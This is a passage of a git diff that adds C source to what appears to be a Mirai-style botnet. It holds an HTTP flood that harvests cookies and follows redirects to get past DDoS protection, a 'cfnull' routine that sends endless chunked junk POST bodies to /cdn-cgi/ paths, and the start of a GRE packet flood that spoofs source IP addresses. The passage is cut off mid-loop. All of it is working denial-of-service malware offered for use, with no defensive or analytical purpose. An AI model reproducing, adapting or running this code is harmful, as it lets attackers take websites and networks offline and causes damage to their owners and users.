+ conn->protection_type = HTTP_PROT_DOSARREST;
+
+ conn->keepalive = 0;
+ if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONNECTION_HDR, NULL)) != -1)
+ {
+ int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONNECTION_HDR, NULL));
+ if (generic_memes[offset] == ' ')
+ offset++;
+
+ int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
+ if (nl_off != -1)
+ {
+ char *con_ptr = &(generic_memes[offset]);
+
+ if (nl_off >= 2)
+ nl_off -= 2;
+ generic_memes[offset + nl_off] = 0;
+
+ if (util_stristr(con_ptr, util_strlen(con_ptr), table_retrieve_val(TABLE_ATK_KEEP_ALIVE_HDR, NULL)))
+ conn->keepalive = 1;
+ }
+ }
+
+ conn->chunked = 0;
+ if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL)) != -1)
+ {
+ int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL));
+ if (generic_memes[offset] == ' ')
+ offset++;
+
+ int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
+ if (nl_off != -1)
+ {
+ char *con_ptr = &(generic_memes[offset]);
+
+ if (nl_off >= 2)
+ nl_off -= 2;
+ generic_memes[offset + nl_off] = 0;
+
+ if (util_stristr(con_ptr, util_strlen(con_ptr), table_retrieve_val(TABLE_ATK_CHUNKED, NULL)))
+ conn->chunked = 1;
+ }
+ }
+
+ if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL)) != -1)
+ {
+ int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL));
+ if (generic_memes[offset] == ' ')
+ offset++;
+
+ int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
+ if (nl_off != -1)
+ {
+ char *len_ptr = &(generic_memes[offset]);
+
+ if (nl_off >= 2)
+ nl_off -= 2;
+ generic_memes[offset + nl_off] = 0;
+
+ conn->content_length = util_atoi(len_ptr, 10);
+ }
+ } else {
+ conn->content_length = 0;
+ }
+
+ processed = 0;
+ while (util_stristr(generic_memes + processed, ret, table_retrieve_val(TABLE_ATK_SET_COOKIE_HDR, NULL)) != -1 && conn->num_cookies < HTTP_COOKIE_MAX)
+ {
+ int offset = util_stristr(generic_memes + processed, ret, table_retrieve_val(TABLE_ATK_SET_COOKIE_HDR, NULL));
+ if (generic_memes[processed + offset] == ' ')
+ offset++;
+
+ int nl_off = util_memsearch(generic_memes + processed + offset, ret - processed - offset, "\r\n", 2);
+ if (nl_off != -1)
+ {
+ char *cookie_ptr = &(generic_memes[processed + offset]);
+
+ if (nl_off >= 2)
+ nl_off -= 2;
+
+ if (util_memsearch(generic_memes + processed + offset, ret - processed - offset, ";", 1) > 0)
+ nl_off = util_memsearch(generic_memes + processed + offset, ret - processed - offset, ";", 1) - 1;
+
+ generic_memes[processed + offset + nl_off] = 0;
+
+ for (ii = 0; ii < util_strlen(cookie_ptr); ii++)
+ if (cookie_ptr[ii] == '=')
+ break;
+
+ if (cookie_ptr[ii] == '=')
+ {
+ int equal_off = ii, cookie_exists = FALSE;
+
+ for (ii = 0; ii < conn->num_cookies; ii++)
+ if (util_strncmp(cookie_ptr, conn->cookies[ii], equal_off))
+ {
+ cookie_exists = TRUE;
+ break;
+ }
+
+ if (!cookie_exists)
+ {
+ if (util_strlen(cookie_ptr) < HTTP_COOKIE_LEN_MAX)
+ {
+ util_strcpy(conn->cookies[conn->num_cookies], cookie_ptr);
+ conn->num_cookies++;
+ }
+ }
+ }
+ }
+
+ processed += offset;
+ }
+
+ // this will still work as previous handlers will only add in null chars or similar
+ // and we specify the size of the string to stristr
+ if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_LOCATION_HDR, NULL)) != -1)
+ {
+ int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_LOCATION_HDR, NULL));
+ if (generic_memes[offset] == ' ')
+ offset++;
+
+ int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
+ if (nl_off != -1)
+ {
+ char *loc_ptr = &(generic_memes[offset]);
+
+ if (nl_off >= 2)
+ nl_off -= 2;
+ generic_memes[offset + nl_off] = 0;
+
+ //increment it one so that it is length of the string excluding null char instead of 0-based offset
+ nl_off++;
+
+ if (util_memsearch(loc_ptr, nl_off, "http", 4) == 4)
+ {
+ //this is an absolute url, domain name change maybe?
+ ii = 7;
+ //http(s)
+ if (loc_ptr[4] == 's')
+ ii++;
+
+ memmove(loc_ptr, loc_ptr + ii, nl_off - ii);
+ ii = 0;
+ while (loc_ptr[ii] != 0)
+ {
+ if (loc_ptr[ii] == '/')
+ {
+ loc_ptr[ii] = 0;
+ break;
+ }
+ ii++;
+ }
+
+ // domain: loc_ptr;
+ // path: &(loc_ptr[ii + 1]);
+
+ if (util_strlen(loc_ptr) > 0 && util_strlen(loc_ptr) < HTTP_DOMAIN_MAX)
+ util_strcpy(conn->domain, loc_ptr);
+
+ if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)
+ {
+ util_zero(conn->path + 1, HTTP_PATH_MAX - 1);
+ if (util_strlen(&(loc_ptr[ii + 1])) > 0)
+ util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));
+ }
+ }
+ else if (loc_ptr[0] == '/')
+ {
+ //handle relative url
+ util_zero(conn->path + 1, HTTP_PATH_MAX - 1);
+ if (util_strlen(&(loc_ptr[ii + 1])) > 0 && util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)
+ util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));
+ }
+
+ conn->state = HTTP_CONN_RESTART;
+ continue;
+ }
+ }
+
+ if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_REFRESH_HDR, NULL)) != -1)
+ {
+ int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_REFRESH_HDR, NULL));
+ if (generic_memes[offset] == ' ')
+ offset++;
+
+ int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
+ if (nl_off != -1)
+ {
+ char *loc_ptr = &(generic_memes[offset]);
+
+ if (nl_off >= 2)
+ nl_off -= 2;
+ generic_memes[offset + nl_off] = 0;
+
+ //increment it one so that it is length of the string excluding null char instead of 0-based offset
+ nl_off++;
+
+ ii = 0;
+
+ while (loc_ptr[ii] != 0 && loc_ptr[ii] >= '0' && loc_ptr[ii] <= '9')
+ ii++;
+
+ if (loc_ptr[ii] != 0)
+ {
+ int wait_time = 0;
+ loc_ptr[ii] = 0;
+ ii++;
+
+ if (loc_ptr[ii] == ' ')
+ ii++;
+
+ if (util_stristr(&(loc_ptr[ii]), util_strlen(&(loc_ptr[ii])), "url=") != -1)
+ ii += util_stristr(&(loc_ptr[ii]), util_strlen(&(loc_ptr[ii])), "url=");
+
+ if (loc_ptr[ii] == '"')
+ {
+ ii++;
+
+ //yes its ugly, but i dont care
+ if ((&(loc_ptr[ii]))[util_strlen(&(loc_ptr[ii])) - 1] == '"')
+ (&(loc_ptr[ii]))[util_strlen(&(loc_ptr[ii])) - 1] = 0;
+ }
+
+ wait_time = util_atoi(loc_ptr, 10);
+
+ //YOLO LOL
+ while (wait_time > 0 && wait_time < 10 && fake_time + wait_time > time(NULL))
+ sleep(1);
+
+ loc_ptr = &(loc_ptr[ii]);
+
+
+ if (util_stristr(loc_ptr, util_strlen(loc_ptr), "http") == 4)
+ {
+ //this is an absolute url, domain name change maybe?
+ ii = 7;
+ //http(s)
+ if (loc_ptr[4] == 's')
+ ii++;
+
+ memmove(loc_ptr, loc_ptr + ii, nl_off - ii);
+ ii = 0;
+ while (loc_ptr[ii] != 0)
+ {
+ if (loc_ptr[ii] == '/')
+ {
+ loc_ptr[ii] = 0;
+ break;
+ }
+ ii++;
+ }
+
+ // domain: loc_ptr;
+ // path: &(loc_ptr[ii + 1]);
+
+ if (util_strlen(loc_ptr) > 0 && util_strlen(loc_ptr) < HTTP_DOMAIN_MAX)
+ util_strcpy(conn->domain, loc_ptr);
+
+ if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)
+ {
+ util_zero(conn->path + 1, HTTP_PATH_MAX - 1);
+ if (util_strlen(&(loc_ptr[ii + 1])) > 0)
+ util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));
+ }
+ }
+ else if (loc_ptr[0] == '/')
+ {
+ //handle relative url
+ if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)
+ {
+ util_zero(conn->path + 1, HTTP_PATH_MAX - 1);
+ if (util_strlen(&(loc_ptr[ii + 1])) > 0)
+ util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));
+ }
+ }
+
+ strcpy(conn->method, "GET");
+ // queue the state up for the next time
+ conn->state = HTTP_CONN_QUEUE_RESTART;
+ continue;
+ }
+ }
+ }
+
+ // actually pull the content from the buffer that we processed via MSG_PEEK
+ processed = util_memsearch(generic_memes, ret, "\r\n\r\n", 4);
+
+ if (util_strcmp(conn->method, "POST") || util_strcmp(conn->method, "GET"))
+ conn->state = HTTP_CONN_RECV_BODY;
+ else if (ret > processed)
+ conn->state = HTTP_CONN_QUEUE_RESTART;
+ else
+ conn->state = HTTP_CONN_RESTART;
+
+ ret = recv(conn->fd, generic_memes, processed, MSG_NOSIGNAL);
+ } else if (conn->state == HTTP_CONN_RECV_BODY) {
+ while (TRUE)
+ {
+ // spooky doods changed state
+ if (conn->state != HTTP_CONN_RECV_BODY)
+ {
+ break;
+ }
+
+ if (conn->rdbuf_pos == HTTP_RDBUF_SIZE)
+ {
+ memmove(conn->rdbuf, conn->rdbuf + HTTP_HACK_DRAIN, HTTP_RDBUF_SIZE - HTTP_HACK_DRAIN);
+ conn->rdbuf_pos -= HTTP_HACK_DRAIN;
+ }
+ errno = 0;
+ ret = recv(conn->fd, conn->rdbuf + conn->rdbuf_pos, HTTP_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
+ if (ret == 0)
+ {
+#ifdef DEBUG
+ printf("[http flood] FD%d connection gracefully closed\n", conn->fd);
+#endif
+ errno = ECONNRESET;
+ ret = -1; // Fall through to closing connection below
+ }
+ if (ret == -1)
+ {
+ if (errno != EAGAIN && errno != EWOULDBLOCK)
+ {
+#ifdef DEBUG
+ printf("[http flood] FD%d lost connection\n", conn->fd);
+#endif
+ close(conn->fd);
+ conn->fd = -1;
+ conn->state = HTTP_CONN_INIT;
+ }
+ break;
+ }
+
+ conn->rdbuf_pos += ret;
+ conn->last_recv = fake_time;
+
+ while (TRUE)
+ {
+ int consumed = 0;
+
+ if (conn->content_length > 0)
+ {
+
+ consumed = conn->content_length > conn->rdbuf_pos ? conn->rdbuf_pos : conn->content_length;
+ conn->content_length -= consumed;
+
+ if (conn->protection_type == HTTP_PROT_DOSARREST)
+ {
+ // we specifically want this to be case sensitive
+ if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, table_retrieve_val(TABLE_ATK_SET_COOKIE, NULL), 11) != -1)
+ {
+ int start_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, table_retrieve_val(TABLE_ATK_SET_COOKIE, NULL), 11);
+ int end_pos = util_memsearch(&(conn->rdbuf[start_pos]), conn->rdbuf_pos - start_pos, "'", 1);
+ conn->rdbuf[start_pos + (end_pos - 1)] = 0;
+
+ if (conn->num_cookies < HTTP_COOKIE_MAX && util_strlen(&(conn->rdbuf[start_pos])) < HTTP_COOKIE_LEN_MAX)
+ {
+ util_strcpy(conn->cookies[conn->num_cookies], &(conn->rdbuf[start_pos]));
+ util_strcpy(conn->cookies[conn->num_cookies] + util_strlen(conn->cookies[conn->num_cookies]), "=");
+
+ start_pos += end_pos + 3;
+ end_pos = util_memsearch(&(conn->rdbuf[start_pos]), conn->rdbuf_pos - start_pos, "'", 1);
+ conn->rdbuf[start_pos + (end_pos - 1)] = 0;
+
+ util_strcpy(conn->cookies[conn->num_cookies] + util_strlen(conn->cookies[conn->num_cookies]), &(conn->rdbuf[start_pos]));
+ conn->num_cookies++;
+ }
+
+ conn->content_length = -1;
+ conn->state = HTTP_CONN_QUEUE_RESTART;
+ break;
+ }
+ }
+ }
+
+ if (conn->content_length == 0)
+ {
+ if (conn->chunked == 1)
+ {
+ if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, "\r\n", 2) != -1)
+ {
+ int new_line_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "\r\n", 2);
+ conn->rdbuf[new_line_pos - 2] = 0;
+ if (util_memsearch(conn->rdbuf, new_line_pos, ";", 1) != -1)
+ conn->rdbuf[util_memsearch(conn->rdbuf, new_line_pos, ";", 1)] = 0;
+
+ int chunklen = util_atoi(conn->rdbuf, 16);
+
+ if (chunklen == 0)
+ {
+ conn->state = HTTP_CONN_RESTART;
+ break;
+ }
+
+ conn->content_length = chunklen + 2;
+ consumed = new_line_pos;
+ }
+ } else {
+ // get rid of any extra in the buf before we move on...
+ conn->content_length = conn->rdbuf_pos - consumed;
+ if (conn->content_length == 0)
+ {
+ conn->state = HTTP_CONN_RESTART;
+ break;
+ }
+ }
+ }
+
+ if (consumed == 0)
+ break;
+ else
+ {
+ conn->rdbuf_pos -= consumed;
+ memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);
+ conn->rdbuf[conn->rdbuf_pos] = 0;
+
+ if (conn->rdbuf_pos == 0)
+ break;
+ }
+ }
+ }
+ } else if (conn->state == HTTP_CONN_QUEUE_RESTART) {
+ while(TRUE)
+ {
+ errno = 0;
+ ret = recv(conn->fd, generic_memes, 10240, MSG_NOSIGNAL);
+ if (ret == 0)
+ {
+#ifdef DEBUG
+ printf("[http flood] HTTP_CONN_QUEUE_RESTART FD%d connection gracefully closed\n", conn->fd);
+#endif
+ errno = ECONNRESET;
+ ret = -1; // Fall through to closing connection below
+ }
+ if (ret == -1)
+ {
+ if (errno != EAGAIN && errno != EWOULDBLOCK)
+ {
+#ifdef DEBUG
+ printf("[http flood] HTTP_CONN_QUEUE_RESTART FD%d lost connection\n", conn->fd);
+#endif
+ close(conn->fd);
+ conn->fd = -1;
+ conn->state = HTTP_CONN_INIT;
+ }
+ break;
+ }
+ }
+ if (conn->state != HTTP_CONN_INIT)
+ conn->state = HTTP_CONN_RESTART;
+ }
+ }
+ }
+
+ // handle any sockets that didnt return from select here
+ // also handle timeout on HTTP_CONN_QUEUE_RESTART just in case there was no other data to be read (^: (usually this will never happen)
+#ifdef DEBUG
+ if (sockets == 1)
+ {
+ printf("debug mode sleep\n");
+ sleep(1);
+ }
+#endif
+ }
+}
+
+void attack_app_cfnull(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
+{
+ int i, ii, rfd, ret = 0;
+ struct attack_cfnull_state *http_table = NULL;
+ char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL);
+ int sockets = attack_get_opt_int(opts_len, opts, ATK_OPT_CONNS, 1);
+
+ char generic_memes[10241] = {0};
+
+ if (domain == NULL)
+ return;
+
+ if (util_strlen(domain) > HTTP_DOMAIN_MAX - 1)
+ return;
+
+ if (sockets > HTTP_CONNECTION_MAX)
+ sockets = HTTP_CONNECTION_MAX;
+
+ http_table = calloc(sockets, sizeof(struct attack_cfnull_state));
+
+ for (i = 0; i < sockets; i++)
+ {
+ http_table[i].state = HTTP_CONN_INIT;
+ http_table[i].fd = -1;
+ http_table[i].dst_addr = targs[i % targs_len].addr;
+
+ util_strcpy(http_table[i].domain, domain);
+
+ if (targs[i % targs_len].netmask < 32)
+ http_table[i].dst_addr = htonl(ntohl(targs[i % targs_len].addr) + (((uint32_t)rand_next()) >> targs[i % targs_len].netmask));
+
+ switch(rand_next() % 5)
+ {
+ case 0:
+ table_unlock_val(TABLE_HTTP_ONE);
+ util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_ONE, NULL));
+ table_lock_val(TABLE_HTTP_ONE);
+ break;
+ case 1:
+ table_unlock_val(TABLE_HTTP_TWO);
+ util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_TWO, NULL));
+ table_lock_val(TABLE_HTTP_TWO);
+ break;
+ case 2:
+ table_unlock_val(TABLE_HTTP_THREE);
+ util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_THREE, NULL));
+ table_lock_val(TABLE_HTTP_THREE);
+ break;
+ case 3:
+ table_unlock_val(TABLE_HTTP_FOUR);
+ util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FOUR, NULL));
+ table_lock_val(TABLE_HTTP_FOUR);
+ break;
+ case 4:
+ table_unlock_val(TABLE_HTTP_FIVE);
+ util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FIVE, NULL));
+ table_lock_val(TABLE_HTTP_FIVE);
+ break;
+ }
+ }
+
+ while(TRUE)
+ {
+ fd_set fdset_rd, fdset_wr;
+ int mfd = 0, nfds;
+ struct timeval tim;
+ struct attack_cfnull_state *conn;
+ uint32_t fake_time = time(NULL);
+
+ FD_ZERO(&fdset_rd);
+ FD_ZERO(&fdset_wr);
+
+ for (i = 0; i < sockets; i++)
+ {
+ conn = &(http_table[i]);
+
+ if (conn->state == HTTP_CONN_RESTART)
+ {
+ conn->state = HTTP_CONN_INIT;
+ }
+
+ if (conn->state == HTTP_CONN_INIT)
+ {
+ struct sockaddr_in addr = {0};
+
+ if (conn->fd != -1)
+ close(conn->fd);
+ if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
+ continue;
+
+ fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
+
+ ii = 65535;
+ setsockopt(conn->fd, 0, SO_RCVBUF, &ii ,sizeof(int));
+
+ addr.sin_family = AF_INET;
+ addr.sin_addr.s_addr = conn->dst_addr;
+ addr.sin_port = htons(80);
+
+ conn->last_recv = fake_time;
+ conn->state = HTTP_CONN_CONNECTING;
+ connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
+#ifdef DEBUG
+ printf("[http flood] fd%d started connect\n", conn->fd);
+#endif
+
+ FD_SET(conn->fd, &fdset_wr);
+ if (conn->fd > mfd)
+ mfd = conn->fd + 1;
+ }
+ else if (conn->state == HTTP_CONN_CONNECTING)
+ {
+ if (fake_time - conn->last_recv > 30)
+ {
+ conn->state = HTTP_CONN_INIT;
+ close(conn->fd);
+ conn->fd = -1;
+ continue;
+ }
+
+ FD_SET(conn->fd, &fdset_wr);
+ if (conn->fd > mfd)
+ mfd = conn->fd + 1;
+ }
+ else if (conn->state == HTTP_CONN_SEND_HEADERS)
+ {
+#ifdef DEBUG
+ //printf("[http flood] Sending http request\n");
+#endif
+
+ char buf[10240];
+ util_zero(buf, 10240);
+
+ //util_strcpy(buf + util_strlen(buf), "POST /cdn-cgi/l/chk_captcha HTTP/1.1\r\nUser-Agent: ");
+ util_strcpy(buf + util_strlen(buf), "POST /cdn-cgi/");
+ rand_alphastr(buf + util_strlen(buf), 16);
+ util_strcpy(buf + util_strlen(buf), " HTTP/1.1\r\nUser-Agent: ");
+ util_strcpy(buf + util_strlen(buf), conn->user_agent);
+ util_strcpy(buf + util_strlen(buf), "\r\nHost: ");
+ util_strcpy(buf + util_strlen(buf), conn->domain);
+ util_strcpy(buf + util_strlen(buf), "\r\n");
+
+ table_unlock_val(TABLE_ATK_KEEP_ALIVE);
+ util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_KEEP_ALIVE, NULL));
+ table_lock_val(TABLE_ATK_KEEP_ALIVE);
+ util_strcpy(buf + util_strlen(buf), "\r\n");
+
+ table_unlock_val(TABLE_ATK_ACCEPT);
+ util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT, NULL));
+ table_lock_val(TABLE_ATK_ACCEPT);
+ util_strcpy(buf + util_strlen(buf), "\r\n");
+
+ table_unlock_val(TABLE_ATK_ACCEPT_LNG);
+ util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT_LNG, NULL));
+ table_lock_val(TABLE_ATK_ACCEPT_LNG);
+ util_strcpy(buf + util_strlen(buf), "\r\n");
+
+ table_unlock_val(TABLE_ATK_CONTENT_TYPE);
+ util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_TYPE, NULL));
+ table_lock_val(TABLE_ATK_CONTENT_TYPE);
+ util_strcpy(buf + util_strlen(buf), "\r\n");
+
+ table_unlock_val(TABLE_ATK_TRANSFER_ENCODING_HDR);
+ util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL));
+ table_lock_val(TABLE_ATK_TRANSFER_ENCODING_HDR);
+ util_strcpy(buf + util_strlen(buf), " ");
+ table_unlock_val(TABLE_ATK_CHUNKED);
+ util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CHUNKED, NULL));
+ table_lock_val(TABLE_ATK_CHUNKED);
+ util_strcpy(buf + util_strlen(buf), "\r\n");
+
+ util_strcpy(buf + util_strlen(buf), "\r\n");
+
+ conn->to_send = (80 * 1024 * 1024);
+
+#ifdef DEBUG
+ if (sockets == 1)
+ {
+ printf("sending buf: \"%s\"\n", buf);
+ }
+#endif
+
+ send(conn->fd, buf, util_strlen(buf), MSG_NOSIGNAL);
+ conn->last_send = fake_time;
+
+ conn->state = HTTP_CONN_SEND_JUNK;
+ FD_SET(conn->fd, &fdset_wr);
+ FD_SET(conn->fd, &fdset_rd);
+ if (conn->fd > mfd)
+ mfd = conn->fd + 1;
+ }
+ else if (conn->state == HTTP_CONN_SEND_JUNK)
+ {
+ int sent = 0;
+ char rndbuf[1025] = {0};
+ util_zero(rndbuf, 1025);
+ rand_alphastr(rndbuf, 1024);
+
+ if (conn->to_send <= 0)
+ {
+ send(conn->fd, "0\r\n", 3, MSG_NOSIGNAL);
+ } else {
+ // EZZZZZZZZZ HACKS
+ if (conn->to_send < 1024)
+ rndbuf[conn->to_send] = 0;
+
+ if ((conn->to_send >= 1024 && (conn->to_send % 1024) == 0))
+ {
+ char szbuf[4] = {0};
+ util_zero(szbuf, 4);
+ util_itoa(1024, 16, szbuf);
+ send(conn->fd, szbuf, util_strlen(szbuf), MSG_NOSIGNAL);
+ send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
+ }
+
+ if ((sent = send(conn->fd, rndbuf, util_strlen(rndbuf), MSG_NOSIGNAL)) == -1)
+ {
+ conn->state = HTTP_CONN_RESTART;
+ continue;
+ }
+
+ // if our local send buffer is full, slow down. no need to rush (^:
+ if (sent != util_strlen(rndbuf))
+ {
+ conn->state = HTTP_CONN_SNDBUF_WAIT;
+ }
+
+ conn->to_send -= sent;
+ FD_SET(conn->fd, &fdset_wr);
+ }
+
+ conn->last_send = fake_time;
+ FD_SET(conn->fd, &fdset_rd);
+ if (conn->fd > mfd)
+ mfd = conn->fd + 1;
+ }
+ else if (conn->state == HTTP_CONN_SNDBUF_WAIT)
+ {
+ FD_SET(conn->fd, &fdset_wr);
+ if (conn->fd > mfd)
+ mfd = conn->fd + 1;
+ }
+ else
+ {
+ // NEW STATE WHO DIS
+ conn->state = HTTP_CONN_INIT;
+ close(conn->fd);
+ conn->fd = -1;
+ }
+ }
+
+ if (mfd == 0)
+ continue;
+
+ tim.tv_usec = 0;
+ tim.tv_sec = 1;
+ nfds = select(mfd, &fdset_rd, &fdset_wr, NULL, &tim);
+ fake_time = time(NULL);
+
+ if (nfds < 1)
+ continue;
+
+ for (i = 0; i < sockets; i++)
+ {
+ conn = &(http_table[i]);
+
+ if (conn->fd == -1)
+ continue;
+
+ if (FD_ISSET(conn->fd, &fdset_wr))
+ {
+ if (conn->state == HTTP_CONN_CONNECTING)
+ {
+ int err = 0;
+ socklen_t err_len = sizeof (err);
+
+ ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
+ if (err == 0 && ret == 0)
+ {
+#ifdef DEBUG
+ printf("[http flood] FD%d connected.\n", conn->fd);
+#endif
+ conn->state = HTTP_CONN_SEND;
+ }
+ else
+ {
+#ifdef DEBUG
+ printf("[http flood] FD%d error while connecting = %d\n", conn->fd, err);
+#endif
+ close(conn->fd);
+ conn->fd = -1;
+ conn->state = HTTP_CONN_INIT;
+ continue;
+ }
+ }
+ else if (conn->state == HTTP_CONN_SNDBUF_WAIT)
+ {
+ conn->state = HTTP_CONN_SEND_JUNK;
+ }
+ }
+
+ if (FD_ISSET(conn->fd, &fdset_rd))
+ {
+ // if we get any sort of headers or error code then punt it.
+ // we really dont care about any content we get
+ conn->state = HTTP_CONN_RESTART;
+ }
+ }
+
+ // handle any sockets that didnt return from select here
+ // also handle timeout on HTTP_CONN_QUEUE_RESTART just in case there was no other data to be read (^: (usually this will never happen)
+#ifdef DEBUG
+ if (sockets == 1)
+ {
+ printf("debug mode sleep\n");
+ sleep(1);
+ }
+#endif
+ }
+}
diff --git a/rai/bot/attack_gre.c b/rai/bot/attack_gre.c
new file mode 100644
index 0000000..1a8560d
--- /dev/null
+++ b/rai/bot/attack_gre.c
@@ -0,0 +1,318 @@
+#define _GNU_SOURCE
+
+#ifdef DEBUG
+#include
+#endif
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "includes.h"
+#include "attack.h"
+#include "protocol.h"
+#include "util.h"
+#include "checksum.h"
+#include "rand.h"
+
+void attack_gre_ip(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
+{
+ int i, fd;
+ char **pkts = calloc(targs_len, sizeof (char *));
+ uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
+ uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
+ uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
+ BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
+ port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
+ port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
+ int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
+ BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
+ BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE);
+ uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
+
+ if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to create raw socket. Aborting attack\n");
+#endif
+ return;
+ }
+ i = 1;
+ if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to set IP_HDRINCL. Aborting\n");
+#endif
+ close(fd);
+ return;
+ }
+
+ for (i = 0; i < targs_len; i++)
+ {
+ struct iphdr *iph;
+ struct grehdr *greh;
+ struct iphdr *greiph;
+ struct udphdr *udph;
+
+ pkts[i] = calloc(1510, sizeof (char *));
+ iph = (struct iphdr *)(pkts[i]);
+ greh = (struct grehdr *)(iph + 1);
+ greiph = (struct iphdr *)(greh + 1);
+ udph = (struct udphdr *)(greiph + 1);
+
+ // IP header init
+ iph->version = 4;
+ iph->ihl = 5;
+ iph->tos = ip_tos;
+ iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
+ iph->id = htons(ip_ident);
+ iph->ttl = ip_ttl;
+ if (dont_frag)
+ iph->frag_off = htons(1 << 14);
+ iph->protocol = IPPROTO_GRE;
+ iph->saddr = source_ip;
+ iph->daddr = targs[i].addr;
+
+ // GRE header init
+ greh->protocol = htons(ETH_P_IP); // Protocol is 2 bytes
+
+ // Encapsulated IP header init
+ greiph->version = 4;
+ greiph->ihl = 5;
+ greiph->tos = ip_tos;
+ greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
+ greiph->id = htons(~ip_ident);
+ greiph->ttl = ip_ttl;
+ if (dont_frag)
+ greiph->frag_off = htons(1 << 14);
+ greiph->protocol = IPPROTO_UDP;
+ greiph->saddr = rand_next();
+ if (gcip)
+ greiph->daddr = iph->daddr;
+ else
+ greiph->daddr = ~(greiph->saddr - 1024);
+
+ // UDP header init
+ udph->source = htons(sport);
+ udph->dest = htons(dport);
+ udph->len = htons(sizeof (struct udphdr) + data_len);
+ }
+
+ while (TRUE)
+ {
+ for (i = 0; i < targs_len; i++)
+ {
+ char *pkt = pkts[i];
+ struct iphdr *iph = (struct iphdr *)pkt;
+ struct grehdr *greh = (struct grehdr *)(iph + 1);
+ struct iphdr *greiph = (struct iphdr *)(greh + 1);
+ struct udphdr *udph = (struct udphdr *)(greiph + 1);
+ char *data = (char *)(udph + 1);
+
+ // For prefix attacks
+ if (targs[i].netmask < 32)
+ iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
+
+ if (source_ip == 0xffffffff)
+ iph->saddr = rand_next();
+
+ if (ip_ident == 0xffff)
+ {
+ iph->id = rand_next() & 0xffff;
+ greiph->id = ~(iph->id - 1000);
+ }
+ if (sport == 0xffff)
+ udph->source = rand_next() & 0xffff;
+ if (dport == 0xffff)
+ udph->dest = rand_next() & 0xffff;
+
